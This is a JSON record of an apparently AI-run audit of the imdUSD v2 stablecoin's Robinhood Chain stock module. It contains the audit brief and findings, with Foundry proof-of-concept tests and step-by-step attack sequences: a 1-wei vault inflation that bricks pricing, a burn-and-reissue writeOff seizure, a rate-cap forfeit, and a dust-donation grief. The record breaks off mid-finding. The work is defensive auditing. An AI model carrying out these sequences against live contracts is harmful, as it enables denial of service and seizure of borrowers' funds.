{"assessments":[],"deployments":[],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"ec9fe0d5-bd7a-4f65-8810-7b6cdf3223cc","kind":"audit","nodes":[{"acceptedSubmissionHash":"4c969ebb9efc3ffc6c8b3b8ef664cd57bacf9d415e6c926e4e1380d9adb3ade6","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"f4fe1cc2cefafd80296167e857f224230de0ce3715677d43c0b835be2d78a011","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"46e49910265c4b6b88c83cc9f4b4fa97e450d8a2d864457c4e6df21c9bdba91e","dependsOn":["audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"b89279670f5a00f5d26286edee00c97dd158b997031350a01cafe6e0329ad227","skillId":"audit-judge","subagents":4,"tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"b89279670f5a00f5d26286edee00c97dd158b997031350a01cafe6e0329ad227","skillId":"audit-judge","state":"accepted"},{"acceptedSubmissionHash":"480f6d839fed0637c8442e3f45ee268bed149776ccbca43b566317580df9a487","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"89d08a390a5c44d7088a3a126e03398475ea485bc34e5505a956395ba4581688","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"}],"objective":"AUDIT the Robinhood Chain (4663) core as it launches: stock tokens (src/stocks/*, MarketHoursFeed, MarketCalendar), the Pulse sequencer grace (Liquidator, Redeemer, new debt), and its never-audited config and deploy (script/DeployConfig.sol RobinhoodConfig, script/DeployRobinhood.s.sol, script/deploy/StageChain.sol, StageCore.sol, DeployBase.sol), at the pinned commit.\n\nimdUSD v2 is a multi-collateral CDP stablecoin. On 12-07 its capped beta launches on Ethereum AND Robinhood Chain (4663, incl. stock tokens), joined by a LayerZero V2 burn-and-mint bridge. README.md gives scope, invariants, trust model and known issues: read it first. Wave 4 findings: GET https://api.imd.fun/jobs/<id>/submissions (0cb1541e prices, ae48df88 keeper, 34e546c2 bridge, 549dae1c stocks).\n\nBUILD AND TEST (required; Foundry, solc 0.8.26 via_ir; never build the whole project with solc: ~49 GB). Run `forge test --match-path 'test/unit/{Stocks,StockLending,StockBadDebt,StockReview,RedeemSequencerGrace,Pulse,AuditW4Stock*,AuditW5StockUsdgFreeze,AuditW5BorrowGrace,AuditW5WriteOffGrace,panel/PanelStockChop}.t.sol'`; Foundry 1.9+ `forge test --use solar --no-match-path 'test/fork/*'` runs all in seconds (confirm a proof with solc). Write each proof as test/unit/Proof<Name>.t.sol in the glob, run it, paste it with its output, then delete it. Fork: `forge test --match-path 'test/fork/{Robinhood,RobinhoodStocks}.t.sol'` with a 4663 RPC (real USDG freeze test included).\n\nPROPERTIES:\nP1 A stock type is priced in session only from an answer printed in the current session, or from the standing answer once OPEN_GRACE (5 min) passes with no new print; never outside the session or while frozen (pauses, blocklist, a multiplier step until sync and a later print).\nP2 No donation, dust deposit, adminBurn, reissue or forfeit lets anyone take existing holders' value; an impaired vault takes no deposit; what an emptied vault leaves belongs to nobody (not the next depositor).\nP3 An auction's price falls only while a take could settle (not while USDG is paused, frozen at the StockJoin or Treasury, or unreadable); across any span in which no take could settle it falls at most TICK_SPAN's worth; the USDG received covers the imdUSD booked as reserve-backed, any shortfall booked as bad debt.\nP4 During a sequencer outage (silence past the 15 min gap) and its 1 h grace: no seizure (writeOff included), no redemption and no new debt (borrow, a withdrawal leaving debt, a charged rate change); repayment and deposits always run.\nP5 The 4663 deploy creates exactly the configured graph: types, mats, lines (IMD 0 at genesis; the raise helper sets only the line, to 3,000), feeds (SGOV maxAge 49 h), Pulse, the Safe as governor (a codeless one refused on every path), no other authority.\nP6 A timelocked calendar change never touches today or a past day; closeDay only sets CLOSED (today to +3 days), so a begun session can only be frozen, never opened or moved.\n\nTHREAT MODEL: the issuer controls pause, blocklist, oracle pause, multiplier changes, adminBurn, reissue and beacon upgrades with no delay; Paxos controls USDG's pause, freezes at any address and upgrades; Chainlink's equity feed is the single price leg, prints overnight, and its DON may stall through an open; one sequencer controls ordering, inclusion and outages across blocks (anyone may poke Pulse, so censorship that still includes a poke is NOT detected: accepted); takers and searchers control timing within and across blocks; borrowers choose when to act around the open and the grace; the Safe controls the calendar, closeDay and the IMD raise. The keeper (off-repo) pokes Pulse within 8 min, ticks live auctions within 4 min, syncs after a multiplier step, writes off after 1 h.\n\nPATH: Chainlink -> MarketHoursFeed (+ calendar) -> RateFeed (StockVault share rate) -> Pricer -> LedgerBase._quote (borrowable off in the grace) -> Ledger and Liquidator (Pulse) -> StockJoin auction (USDG) -> Treasury and the borrower's claim; Ledger.writeOff (custody worthless at two reads >= 1 h apart, outside the grace -> Treasury); Redeemer (Pulse; stock types are not redeemable); RobinhoodConfig -> script/deploy/Stage*.sol / DeployRobinhood.\n\nCLAIMS TO CHECK: confirm or refute each with a test.\nC1 OPEN_GRACE 5 min suffices: on opens >= 0.6% from the standing answer the feeds printed within 0.5-2 min (Jun-Nov 2026 rounds); a stalled DON then prices the session from the standing answer up to maxAge (25 h; SGOV 49 h): is that safe?\nC2 counting managed assets with real shares only (no virtual offset) closes every inflation and forfeit path, incl. a partial burn and the first deposit after the vault empties.\nC3 a span with no take possible costs at most TICK_SPAN of descent (0.83% at a 0.9 floor), also under a USDG pause, freeze or unreadable read, and a gas-starved tick cannot erase clock time (incl. via the feed's fail-closed reads).\nC4 blocking new debt in the grace is complete: no path (adjust, rate change, a zap, another module) adds debt inside it.\nC5 every mat covers its measured closed-market gap plus the auction hour, OPEN_GRACE, the 1 h grace and a re-bite after the 2 h lapse (NVDA and TSLA have the least slack).\nC6 DeployRobinhood and the stage steps it shares with the staged launch (script/deploy/Stage*.sol; the stage entries are not public) build the same graph.\n\nSOUNDNESS: the auction clock repeats the seat clock's property (broken in waves 1-3 and 4): can a read-forward clock guarantee P3 when holds leave no timestamp? Has the vault's guard (wave 1, wave 4, now real shares) closed P2 for good? Is the session rule sound at the open for tickers that rarely print in session (SGOV: 0 of 95)? Give the smallest change.\n\nPROOF STANDARD: fuzz over timestamps and print times (DST, holidays, early closes, weekends, outages); invariants over vault deposits, donations, burns, forfeits, reissues; auction fuzz over gaps, pauses, freezes, ticks across blocks.\n\nKNOWN (a case worse than stated IS a finding): after large forfeits a tiny deposit can round to zero shares (the depositor loses at most one share's worth); censorship with a poke (above); if Paxos drops isFrozen or paused, every auction clock stops (a halt).\n\nAnswer each numbered question:\n1. (P1, P6) Find a timestamp, print time or issuer state that misprices a type or freezes it in session for no reason, or a calendar act that changes a begun session.\n2. (P2) Attack StockVault: first deposit, the empty-vault restart, donations, rounding, the multiplier, adminBurn, reissue, forfeits, writeOff then reissue, impaired states.\n3. (P3, P4) Attack the auction and the grace: USDG pauses and freezes, gaps, ticks, frozen takers, seizure, redemption or new debt around an outage.\n4. (P5) Does the 4663 deploy (both paths) build exactly the configured graph with no stray authority, and are its parameters sane?\n5. (P1, P3, P4) What would you change before 12-07?\n\nNot findings: README 'Known issues' as written (a known issue worse than written IS a finding); test/ and mocks; src/dex, src/earn/LoopVault.sol, and launch files README marks compile-only.\n\nEvery finding: severity by impact; file, line, the lines copied; the call sequence; the failing state, expected vs actual; reachable with the deploy config or not; the smallest fix; a test that fails on this commit, RUN as BUILD says and pasted with its output (the judge reruns it). Answer every numbered question, including where nothing is wrong.","parentJobId":null,"planHash":"cce80af6f9c931f41b71ae398d9fbefe2670857163fec1fc29e3d2e830363146","previousHash":"0000000000000000000000000000000000000000000000000000000000000000","projectId":"ec9fe0d5-bd7a-4f65-8810-7b6cdf3223cc","publication":{"commit":null,"deliveredAt":null,"repoUrl":null},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[{"agentId":"51305","feedbackHash":"8771bfe7bccdc6d8dae25e2ee42fa212fa1f2408b8f15efedd3b9e956dbdc020","nodeKey":"audit_economics","submissionHash":"4c969ebb9efc3ffc6c8b3b8ef664cd57bacf9d415e6c926e4e1380d9adb3ade6","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51304","feedbackHash":"afacb5ab93ee20b897c87a664b55a40d23a46db0d98002c5216935c30e6a9e60","nodeKey":"audit_flow","submissionHash":"f4fe1cc2cefafd80296167e857f224230de0ce3715677d43c0b835be2d78a011","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52584","feedbackHash":"5e5c103517d5a54927bdbe026afa24c469e5f44ba6ddb7cc7500a175db7c5ef5","nodeKey":"audit_judge","submissionHash":"46e49910265c4b6b88c83cc9f4b4fa97e450d8a2d864457c4e6df21c9bdba91e","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52600","feedbackHash":"fcf766d50521613b7098a81a1479bdcb630bd8fa5e4200e517ebadef210d54a8","nodeKey":"audit_math","submissionHash":"480f6d839fed0637c8442e3f45ee268bed149776ccbca43b566317580df9a487","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52599","feedbackHash":"60f999e3ac27e160ee73666cc67da26377b27a5f92540d20c9fc78702c2f3d14","nodeKey":"audit_permissions","submissionHash":"89d08a390a5c44d7088a3a126e03398475ea485bc34e5505a956395ba4581688","tag1":"review:submission","tag2":"acceptance-v2","value":1}],"site":null,"snapshotHash":"07c1e91ea2ce1cae2ce7a6270b5260fd0ed79fa95e65e1c8e91b26c4ee435e60","state":"completed","submissions":[{"artifacts":[],"attempt":1,"bundleHash":null,"device":"6f41bd9b44d3e708","findings":[{"citation":"resolved","description":"Refutes C2 (merged from three specialists: audit_flow e41d012d, audit_economics d3fc23c6, audit_permissions 3858a844). With no virtual offset, the 10^6 share scale holds only while nobody rounds against it. On an EMPTY vault, mint(1) costs ceil(1/1e6) = 1 wei (line 61 with Ceil), leaving supply = 1 share and managedAssets = 1. The other route is deposit(1) -> 1e6 shares followed by redeem(999_999), which pays floor(999_999*1/1e6) = 0 assets: OZ redeem burns the shares and nothing refuses a zero-asset exit. Either way convertToAssets(1e18) reads 1e18 instead of 1e12. Each type's price is RateFeed(vault, convertToAssets(1e18), cap = RobinhoodConfig CAP = 0.1%/day), which StageChain._stockType builds over the still-empty vault, so checkpointRate = highRate = 1e12. RateFeed.rate() = min(live, max(checkpoint grown at the cap, highRate)) stays ~1e12 while the vault mints later depositors 1 share per wei: 100 tokens at $100 are valued at $0.01, Ledger.open reverts Unhealthy, and the cap needs ~13,800 days to catch up. The attacker keeps its share, so the vault never empties and never restarts at the 1e6 scale. Nobody loses deposited stock (it redeems 1:1), so this is a denial of service: every type stays unusable until the Safe re-points it, through the 48 h timelock, at a new RateFeed built on the pinned vault. Cost: 1 wei plus gas per type. It works against all nine RobinhoodConfig types between their deploy transactions and the first honest deposit (StageChain/DeployRobinhood seed no vault), and against any vault that empties later. This is not the README's known issue (a tiny deposit rounding to zero shares after forfeits). Reachable with the deploy config: yes. Smallest fix: in StockVault, refuse a redeem/withdraw that pays 0 assets for >0 shares, and require totalSupply()==0 || totalAssets() >= MIN_ASSETS (e.g. 1e12 wei) after every deposit, mint, withdraw and redeem, so one rounding step cannot move the rate measurably. Optionally the deploy also seeds each vault with a dead deposit in the transaction that creates it.","line":61,"path":"src/stocks/StockVault.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20Metadata} from \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport {StockVault} from \"src/stocks/StockVault.sol\";\nimport {RateFeed} from \"src/feeds/RateFeed.sol\";\nimport {MarketCalendar} from \"src/feeds/MarketCalendar.sol\";\nimport {MarketHoursFeed} from \"src/feeds/MarketHoursFeed.sol\";\n\ncontract PRegistry {\n    function paused() external pure returns (bool) {\n        return false;\n    }\n\n    function isBlocked(address) external pure returns (bool) {\n        return false;\n    }\n}\n\ncontract PStock is ERC20 {\n    address public immutable ACCESS_CONTROLLED_REGISTRY;\n\n    constructor(address r) ERC20(\"SPY\", \"SPY\") {\n        ACCESS_CONTROLLED_REGISTRY = r;\n    }\n\n    function paused() external pure returns (bool) {\n        return false;\n    }\n\n    function oraclePaused() external pure returns (bool) {\n        return false;\n    }\n\n    function uiMultiplier() external pure returns (uint256) {\n        return 1e18;\n    }\n\n    function newUIMultiplier() external pure returns (uint256) {\n        return 1e18;\n    }\n\n    function mint(address to, uint256 a) external {\n        _mint(to, a);\n    }\n}\n\ncontract PAgg {\n    int256 public answer;\n    uint256 public at;\n\n    constructor(int256 a) {\n        answer = a;\n        at = block.timestamp;\n    }\n\n    function decimals() external pure returns (uint8) {\n        return 8;\n    }\n\n    function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {\n        return (1, answer, at, at, 1);\n    }\n}\n\n/// The stock module exactly as script/deploy/StageChain.sol builds it (empty vault, RateFeed over convertToAssets with\n/// RobinhoodConfig.CAP = 0.1%/day), on mocks. Property: whatever the first caller does to the empty vault, an honest\n/// deposit of 100 tokens at $100 is valued at $10,000 by the type's price feed.\ncontract ProofStockFirstMint is Test {\n    uint256 constant MON_1400 = 1792418400; // Mon 2026-10-19 14:00 UTC, inside the session\n    PStock stock;\n    StockVault vault;\n    RateFeed price;\n    address attacker = address(0xA77);\n    address alice = address(0xA11CE);\n\n    function setUp() public {\n        vm.warp(MON_1400);\n        stock = new PStock(address(new PRegistry()));\n        PAgg agg = new PAgg(100e8);\n        MarketCalendar cal = new MarketCalendar(address(0xBEEF), new uint32[](0), new uint32[](0));\n        vault = new StockVault(IERC20Metadata(address(stock)));\n        MarketHoursFeed mhf = new MarketHoursFeed(address(agg), address(stock), address(vault), cal, 25 hours);\n        price = new RateFeed(\n            address(vault), bytes4(keccak256(\"convertToAssets(uint256)\")), true, mhf, uint256(0.001e18) / 1 days\n        );\n    }\n\n    function _honestDepositIsValued() internal {\n        stock.mint(alice, 100e18);\n        vm.startPrank(alice);\n        stock.approve(address(vault), 100e18);\n        uint256 shares = vault.deposit(100e18, alice);\n        vm.stopPrank();\n        assertApproxEqAbs(vault.convertToAssets(shares), 100e18, 2, \"alice's shares redeem for her 100 tokens\");\n        assertFalse(price.isStale(), \"priced\");\n        (uint256 perShare,) = price.latestValue();\n        uint256 value = shares * perShare / 1e18;\n        emit log_named_decimal_uint(\"vault rate (assets per 1e18 shares)\", vault.convertToAssets(1e18), 0);\n        emit log_named_decimal_uint(\"feed rate (capped)\", price.rate(), 0);\n        emit log_named_decimal_uint(\"USD value the Ledger sees for 100 tokens at $100\", value, 18);\n        assertApproxEqRel(value, 10_000e18, 0.01e18, \"100 tokens at $100 must be valued at $10,000\");\n    }\n\n    /// 1 wei of stock, one call: mint(1) into the empty vault costs ceil(1 / 1e6) = 1 wei and makes 1 share = 1 wei.\n    function test_firstMintOfOneShare() public {\n        stock.mint(attacker, 1);\n        vm.startPrank(attacker);\n        stock.approve(address(vault), 1);\n        try vault.mint(1, attacker) {} catch {}\n        vm.stopPrank();\n        _honestDepositIsValued();\n    }\n\n    /// The same through deposit + a redeem that rounds to zero assets: 1e6 shares -> 1 share, still 1 wei held.\n    function test_firstDepositThenZeroAssetRedeem() public {\n        stock.mint(attacker, 1);\n        vm.startPrank(attacker);\n        stock.approve(address(vault), 1);\n        try vault.deposit(1, attacker) {} catch {}\n        try vault.redeem(999_999, attacker, attacker) {} catch {}\n        vm.stopPrank();\n        _honestDepositIsValued();\n    }\n\n    /// The cap never catches up: a year of daily pokes later the feed still values the type at about a millionth.\n    function test_capNeverCatchesUp() public {\n        stock.mint(attacker, 1);\n        vm.startPrank(attacker);\n        stock.approve(address(vault), 1);\n        try vault.mint(1, attacker) {} catch {}\n        vm.stopPrank();\n        for (uint256 i; i < 365; ++i) {\n            vm.warp(MON_1400 + (i + 1) * 1 days);\n            price.poke();\n        }\n        emit log_named_uint(\"vault rate\", vault.convertToAssets(1e18));\n        emit log_named_uint(\"feed rate after 365 daily pokes\", price.rate());\n        assertGe(price.rate(), vault.convertToAssets(1e18) / 2, \"the feed rate reaches the vault's rate within a year\");\n    }\n}","reproduction":"Empty StockVault; MarketHoursFeed and RateFeed(vault, convertToAssets, true, mhf, 0.001e18/1 days) as StageChain builds them; Mon 2026-10-19 14:00 UTC, answer $100. The attacker calls stock.approve(vault,1); vault.mint(1, attacker), or deposit(1) then redeem(999_999). Alice then deposits 100e18. Expected: shares valued at $10,000. Actual: convertToAssets(1e18)=1e18, price.rate()=1e12, value $0.01, and after 365 daily pokes rate() is still 1.44e12. Run with solc 0.8.26 via_ir: `forge test --match-path test/scratch/ProofStockFirstMint.t.sol` gives [FAIL: 100 tokens at $100 must be valued at $10,000: 10000000000000000 !~= 10000000000000000000000 (max delta: 1.0000000000000000%, real delta: 99.9999000000000000%)] test_firstMintOfOneShare(), the same for test_firstDepositThenZeroAssetRedeem(), and [FAIL: the feed rate reaches the vault's rate within a year: 1440251313198 < 500000000000000000] test_capNeverCatchesUp(). The other two specialists' proofs also fail on this commit: test_mintOneShareBricksTheType 102999999999900 !~= 1e20, and test_oneWeiPinsTheEmptyVault 1e16 !~= 1e22. Their controls pass.","severity":"medium","snippet":"        if (supply == 0) return Math.mulDiv(shares, 1, 10 ** _decimalsOffset(), rounding);","title":"StockVault: 1 wei pins an empty vault at 10^6x its share rate (mint(1) or deposit(1)+redeem(999,999)); the capped RateFeed then values every later deposit at 1e-6 of its worth, bricking each 4663 stoc"},{"citation":"resolved","description":"writeOff promises that the custody has been worthless at 'two readings >= WRITEOFF_DELAY apart' and that 'a reissue inside the delay writes nothing off'. But worthlessSince[ilk] is cleared only by a writeOff call that sees the custody worth something (lines 222-226). A reissue clears nothing, and nothing checks that the custody stayed worthless between the two readings. The doc names burn-then-reissue as the issuer's expected pattern for migrations and corporate actions. If one such burn is armed by anyone and reissued before anyone sends a clearing call, a second full adminBurn within WRITEOFF_WINDOW (7 days) is seizable in the block of the burn, before the reissue lands: the record is older than WRITEOFF_DELAY and inside the window. Every position's shares go to the Treasury and its debt becomes bad debt. When the issuer reissues, the Treasury holds the value and each borrower has lost its equity. Reachable with the deploy config: any stock type; the issuer burns (trusted) and a searcher orders around the burn. Smallest fix: also record the last worthless reading, and re-arm (worthlessSince = now) when that reading is older than a short step (e.g. 15 min, inside the keeper cadence). A seizure then needs a chain of worthless readings spanning WRITEOFF_DELAY.","line":227,"path":"src/LedgerSettlement.sol","reproduction":"test/scratch/ProofWriteOffStickyZero.t.sol, on test/utils/StockSystem (so not attached as a self-contained proof). Alice opens 100e18 SPY ($10,000) against 6,000 imdUSD. stock.adminBurn(vault,100e18); a searcher calls ledger.writeOff(id), which arms; after 10 min stock.mint(vault,100e18) reissues and nobody clears; after 2 h stock.adminBurn(vault,100e18) again; the searcher calls ledger.writeOff(id) in the same block; stock.mint(vault,100e18). Expected: debtOf(id) == 6000e18 (the custody was worthless for 0 s). Actual: `forge test --use solar --match-path test/scratch/ProofWriteOffStickyZero.t.sol` gives [FAIL: alice's position must survive a burn reissued at once: 0 != 6000000000000000000000] test_secondBurnWrittenOffAtOnce(). The position was written off.","severity":"medium","snippet":"        if (since == 0 || block.timestamp > since + WRITEOFF_WINDOW) {","title":"writeOff's armed record survives an unreported reissue: a second full burn within 7 days is written off in the same block, seizing borrowers' equity"},{"citation":"unresolved","description":"StockVault (lines 20-23) gives a reissue to the shares that stayed through an impairment: a holder who leaves while the vault is impaired takes the impaired value, so after the reissue the remaining shares' convertToAssets rises above its pre-burn high. On 4663 those exits are routine, not optional: StockJoin.take redeems the units a taker buys at the impaired rate, and debt-free unwraps also exit. The type is priced through RateFeed (StageChain._stockType, rateCap = RobinhoodConfig CAP = 0.1%/day), which lets a rise above highRate through only at the cap. The stayers' positions are therefore valued at highRate while their custody redeems for 1/(1-f) of it. A position that is bitten in that period sells at the capped price x the auction factor, and the taker redeems the units at the full live rate, keeping value that belongs to the stayer. That is the 'reissue or forfeit lets anyone take existing holders' value' case P2 excludes. On a StockVault the cap protects against nothing: managedAssets already ignores donations. Smallest fix: deploy stock RateFeeds with a cap that cannot bind (StocksSpec.rateCap large), or have RateFeed accept the live rate from a StockVault that is not impaired.","line":170,"path":"src/feeds/RateFeed.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20Metadata} from \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport {StockVault} from \"src/stocks/StockVault.sol\";\nimport {RateFeed} from \"src/feeds/RateFeed.sol\";\nimport {IFeed} from \"src/interfaces/IFeed.sol\";\nimport {RobinhoodConfig} from \"script/DeployConfig.sol\";\n\ncontract Stock is ERC20 {\n    constructor() ERC20(\"Robinhood NVDA\", \"NVDA\") {}\n    function mint(address to, uint256 a) external { _mint(to, a); } // issuer reissue\n    function adminBurn(address from, uint256 a) external { _burn(from, a); } // issuer burn\n}\n\ncontract AnyCode {}\n\n/// After an issuer burn, holders who leave while the vault is impaired (debt-free withdrawals, auction takers redeeming,\n/// any raw-share holder) forfeit their claim on the reissue to the shares that stay (StockVault's design). The reissue then\n/// lifts the stayers' share rate ABOVE its pre-burn high, and the stock type's RateFeed (deploy cap 0.1%/day) only lets\n/// that rise through at 0.1% a day: the Ledger values the stayers' collateral at 2/3 of what it redeems for for ~500 days.\ncontract ProofStockRateCapForfeit is Test {\n\n    function test_reissueAfterForfeitIsCappedAway() public {\n        Stock stock = new Stock();\n        StockVault vault = new StockVault(IERC20Metadata(address(stock)));\n        address a = address(0xA);\n        address b = address(0xB);\n        stock.mint(a, 100e18);\n        stock.mint(b, 100e18);\n        vm.prank(a);\n        stock.approve(address(vault), type(uint256).max);\n        vm.prank(b);\n        stock.approve(address(vault), type(uint256).max);\n        vm.prank(a);\n        vault.deposit(100e18, a);\n        vm.prank(b);\n        vault.deposit(100e18, b); // b: the shares a stock position keeps in the StockJoin\n\n        uint256 CAP = RobinhoodConfig.stocks().rateCap; // the stock types' RateFeed cap as deployed (0.1%/day)\n        RateFeed feed = new RateFeed(address(vault), bytes4(keccak256(\"convertToAssets(uint256)\")), true, IFeed(address(new AnyCode())), CAP);\n        uint256 r0 = feed.rate();\n        assertEq(r0, 1e12);\n\n        // issuer adminBurns half the custody (migration / corporate action), a leaves while impaired, then the reissue\n        stock.adminBurn(address(vault), 100e18);\n        uint256 sharesA = vault.balanceOf(a);\n        vm.prank(a);\n        vault.redeem(sharesA, a, a); // gets 50e18: forfeits its claim on the reissue to b\n        stock.mint(address(vault), 100e18); // reissue of the burned 100e18\n        vm.warp(block.timestamp + 1 days);\n\n        uint256 live = vault.convertToAssets(1e18);\n        assertEq(live, 1.5e12, \"b's share redeems for 1.5x its pre-burn rate\");\n        assertEq(vault.previewRedeem(vault.balanceOf(b)), 150e18, \"b can redeem 150 stock\");\n        feed.poke();\n        // the Ledger prices b's collateral from feed.rate(): it should follow the redeemable value\n        emit log_named_uint(\"live rate  \", live);\n        emit log_named_uint(\"priced rate\", feed.rate());\n        assertGe(feed.rate() * 100, live * 99, \"stock type priced below what its custody redeems for\");\n    }\n}","reproduction":"Two holders deposit 100e18 each (rate 1e12 per 1e18 shares). The issuer adminBurns 100e18 from the vault (rate 0.5e12). A redeems all its shares (50e18). The issuer reissues 100e18. One day later B's shares redeem for 150e18 and convertToAssets(1e18) = 1.5e12, but RateFeed.rate() after a poke = 1.000999e12. Run on this commit: `forge test --use solar --match-path test/scratch/ProofStockRateCapForfeit.t.sol -vv` gives [FAIL: stock type priced below what its custody redeems for: 100099999999900 < 148500000000000] test_reissueAfterForfeitIsCappedAway(), with logs live rate 1500000000000 and priced rate 1000999999999.","severity":"medium","snippet":"        return live < ceiling ? live : ceiling;","title":"Stock RateFeed growth cap (0.1%/day) withholds a forfeited reissue from the holders who stayed: their custody is priced at 2/3 of what it redeems for for ~500 days, and liquidation takers capture the "},{"citation":"resolved","description":"StockVault.totalAssets() = min(balance, managedAssets). While the vault is impaired the balance is below managedAssets, so a donation counts in full: the comment at StockVault.sol:17 that 'a donation changes no share's value' holds only while the vault is not impaired. After the issuer burns all the custody, anyone who sends totalSupply/1e18 wei (1e10 wei for 10,000 tokens of custody) makes convertToAssets(1e18) = 1. writeOff then reverts NotWorthless or deletes an armed record, and the griefer can repeat after each re-arm. The type then reads a live rate near zero, so its positions are liquidated for dust USDG: the same bad debt, but the shares go to the taker (typically the donor), so a later burn-then-reissue goes to them and not the Treasury, as writeOff's doc intends. Smallest fix: judge worthlessness against a material threshold, e.g. balanceOf(vault) * 1e6 < managedAssets, or convertToAssets(1e18) * 1e6 < RateFeed.highRate.","line":222,"path":"src/LedgerSettlement.sol","reproduction":"test/scratch/ProofWriteOffStickyZero.t.sol::test_dustDonationBlocksWriteOff (StockSystem). Alice opens 100e18 against 6,000 imdUSD. stock.adminBurn(vault,100e18) makes convertToAssets(1e18) = 0; a writeOff arms. The griefer transfers totalSupply/1e18+1 wei of stock to the vault. After 2 h writeOff clears the record instead of seizing. `forge test --use solar --match-path test/scratch/ProofWriteOffStickyZero.t.sol` gives [FAIL: a donation must not change a share's value: 1 != 0] test_dustDonationBlocksWriteOff().","severity":"low","snippet":"        if (IERC4626Min(c.token).convertToAssets(1e18) != 0) {","title":"A dust donation into a hollowed (impaired) StockVault is counted as value and blocks or clears Ledger.writeOff, sending the seized custody and any later reissue to an auction taker instead of the Trea"},{"citation":"resolved","description":"The config says 49 h 'covers one missed weekday heartbeat (Mon 20:00 -> Wed 16:00 = 44 h)'. I read SGOV feed rounds 1-117 (0xa0DF4ee0fFf975306345875E3548Fcc519577A11, phase 1). The last print before every weekend is Thursday 20:0x NY (11 weeks) or Friday 20:0x NY (6 weeks), and the next is always Sunday 20:00 NY (Monday 20:00 over Labor Day). If the Sunday heartbeat is skipped, the standing answer at Monday 09:40 NY is at least 61.5 h old (Friday) or 85.5 h old (Thursday), past 49 h. Since SGOV almost never prints in session (3 of 114 rounds), the type is unpriced all Monday: no borrow, no withdrawal that leaves debt, no liquidation, and auction clocks stopped. The same applies to the first session after a holiday. This is liveness only (fail closed). Note: one specialist's claim that the feed 'never prints Friday' is wrong (6 of 17 weekends start Friday 20:01), but the conclusion holds for both. Smallest fix: SGOV_MAX_AGE = 4 days + 1 hours (Thu 20:00 -> Mon 16:00 is 92 h), or 5 days to cover a Monday holiday. The 0.02%/day drift argument still holds.","line":984,"path":"script/DeployConfig.sol","reproduction":"test/scratch/ProofSgovMonday.t.sol (StockSystem; a MarketHoursFeed with maxAge 2 days + 1 hours). Print at Sat 2026-10-24 00:01 UTC (Fri 20:01 NY), Sunday missed, warp every 15 min from Mon 10-26 09:40 to 16:00 NY: `forge test --use solar --match-path test/scratch/ProofSgovMonday.t.sol` gives [FAIL: Monday unpriced after one missed Sunday heartbeat] test_missedSundayHeartbeatUnpricesMonday(). The control (a Wed 20:01 print priced at Fri 09:40) passes. Chain data: cast call <feed> getRoundData(2^64+n) for n=1..117 on 4663. The weekend gaps are Thu 20:0x -> Sun 20:00 (71-72 h, 11 weeks), Fri 20:0x -> Sun 20:00 (47 h, 6 weeks), and Thu 09-03 -> Mon 09-07 20:00 (95 h).","severity":"low","snippet":"    uint256 internal constant SGOV_MAX_AGE = 2 days + 1 hours;","title":"SGOV maxAge 49 h does not cover one missed Sunday heartbeat: the feed never prints Saturday or Sunday daytime, so a skipped Sunday 20:00 NY print leaves SGOV unpriced for the whole Monday session"},{"citation":"resolved","description":"P5/C6. On the staged path a recorded calendar is kept whenever _calendarIs holds, but the check reads only the governor and the days RobinhoodConfig lists. Any other day is never read. A recorded calendar seeded from another list (an earlier config revision or a rehearsal) that marks an extra weekday CLOSED or EARLY_CLOSE is therefore accepted as the configured wiring. Every MarketHoursFeed is then built over it, and all nine types are unpriced on that day (no 